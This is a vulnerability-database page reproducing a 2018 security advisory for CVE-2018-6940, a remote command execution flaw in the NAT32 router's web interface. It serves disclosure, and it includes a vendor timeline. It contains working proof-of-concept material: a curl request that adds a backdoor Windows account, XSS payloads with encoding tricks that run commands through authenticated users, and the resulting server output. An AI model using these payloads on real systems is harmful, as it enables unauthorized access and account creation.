NAT32 Build 22284 Remote Command Execution

🗓️ 14 Feb 2018 00:00:00Reported by hyp3rlinxType

packetstorm🔗 packetstormsecurity.com👁 39 Views

NAT32 Build 22284 remote command execution vulnerability allows remote attackers to execute arbitrary commands and exploit cross-site scripting (XSS) to gain unauthorized access

Reporter	Title	Published	Views	Family All 10
0day.today	NAT32 2.2 Build 22284 - Remote Command Execution Vulnerability	14 Feb 201800:00	–	zdt
CNVD	NAT32 HTTPD Cross-Site Scripting Vulnerability	2 Mar 201800:00	–	cnvd
CVE	CVE-2018-6940	20 Feb 201815:00	–	cve
Cvelist	CVE-2018-6940	20 Feb 201815:00	–	cvelist
Exploit DB	NAT32 2.2 Build 22284 - Remote Command Execution	14 Feb 201800:00	–	exploitdb
EUVD	EUVD-2018-18684	7 Oct 202500:30	–	euvd
exploitpack	NAT32 2.2 Build 22284 - Remote Command Execution	14 Feb 201800:00	–	exploitpack
NVD	CVE-2018-6940	20 Feb 201815:29	–	nvd
OSV	CVE-2018-6940	20 Feb 201815:29	–	osv
Prion	Design/Logic Flaw	20 Feb 201815:29	–	prion

`[+] Credits: hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CVE-2018-6940.txt  
[+] ISR: Apparition Security  
  
[-_-] D1rty0tis  
  
  
Vendor:  
=============  
www.nat32.com  
  
  
Product:  
=================  
NAT32 Build (22284)  
  
  
NAT32 is a versatile IP Router implemented as a WIN32 application.  
  
  
Vulnerability Type:  
===================  
Remote Command Execution   
  
  
CVE Reference:  
==============  
CVE-2018-6940  
  
  
Security Issue:  
================  
NAT32 listens on Port 8080 for its Web interface.  
  
C:\>netstat -ano | findstr 8080  
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 3720  
  
  
If the 'Password Checking' (BASIC authentication) feature is NOT enabled (user must select it under config tab) then remote attackers who can reach  
NAT32 can potentially execute arbitrary commands, if authentication is enabled they will get 'Unauthorized' server reply, however, read on ...  
  
e.g.  
  
Add user account.  
  
C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add"  
<!DOCTYPE html>  
<html>  
<body><pre>run start net user D1rty0Tis abc123 /add Done  
</pre></body></html>  
  
  
If NAT32 'Password Checking' feature IS enabled, remote attackers can STILL potentially issue arbitrary commands exploiting a  
Cross Site Scripting vulnerability in the HTTPD code of NAT32, if authenticated NAT32 users click a malicious link  
or visit an attacker controlled webpage.   
  
Also worth mentioning, NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily  
revealed if sniffed on network.  
  
When 'Password Checking' is enabled attackers using Ajax calls via XSS would need to use a combination of '%0D%0A' and double encoding  
to deal with 'white-space' in order for the payload to stay intact.  
  
%25 for '%' sign then 20 (%2520) = %20, using %20 or %2B will not cut it, however '%0D%0A' (CRLF) and '%2520' encoding serves us well.  
  
NAT32 has an interesting Command 'EXECR' that can allow attackers to capture Command output response from the server to see right away if an  
attack was success or not.  
  
e.g.  
  
Add account and get response (EXECR)  
  
HTTP Response:  
<!DOCTYPE html>  
<html>  
<body><pre>The command completed successfully.  
  
execr net user D1rty0Tis abc123 /add Done  
</pre></body></html>  
  
  
The NAT32 'winroute' Command will return host route information.  
  
XSS response  
  
e.g.  
  
<!DOCTYPE html>  
<html>  
<body><pre>Destination Mask Nexthop Metric IfIndex Type Proto Age  
0.0.0.0 0.0.0.0 192.168.1.2 10 b 4 3 21:41 [min:sec]  
127.0.0.0 255.0.0.0 127.0.0.1 306 1 3 3 22:04 [min:sec]  
127.0.0.1 255.255.255.255 127.0.0.1 306 1 3 3 22:04 [min:sec]  
127.255.255.255 255.255.255.255 127.0.0.1 306 1 3 3 22:04 [min:sec]  
</pre></body></html>  
  
  
Exploit/POC:  
=============  
NET32 Password Checking not enabled...  
  
C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add"  
  
  
NAT32 BASIC authentication enabled use XSS...  
  
Add backdoor account and capture CMD output using NAT32 'execr' shell command.  
http://x.x.x.x:8080/shell?cmd=<script>var%0D%0Axhr=new%0D%0AXMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open('GET','http://x.x.x.x:8080/shell?cmd=execr%2520net%2520user%2520D1rty0Tis%2520abc123%2520/add',true);xhr.send(null);</script>  
  
Get Windows Routes (info disclosure):  
http://x.x.x.x:8080/shell?cmd=%3Cscript%3Evar%0D%0Axhr=new%0D%0AXMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27GET%27,%27http://x.x.x.x:8080/shell?cmd=winroute%27,true);xhr.send(null);%3C/script%3E  
  
  
  
Network Access:  
===============  
Remote  
  
  
Severity:  
=========  
High  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: February 9, 2018  
Vendor acknowledgement: February 9, 2018  
Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018  
www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018  
February 14, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`

14 Feb 2018 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.08087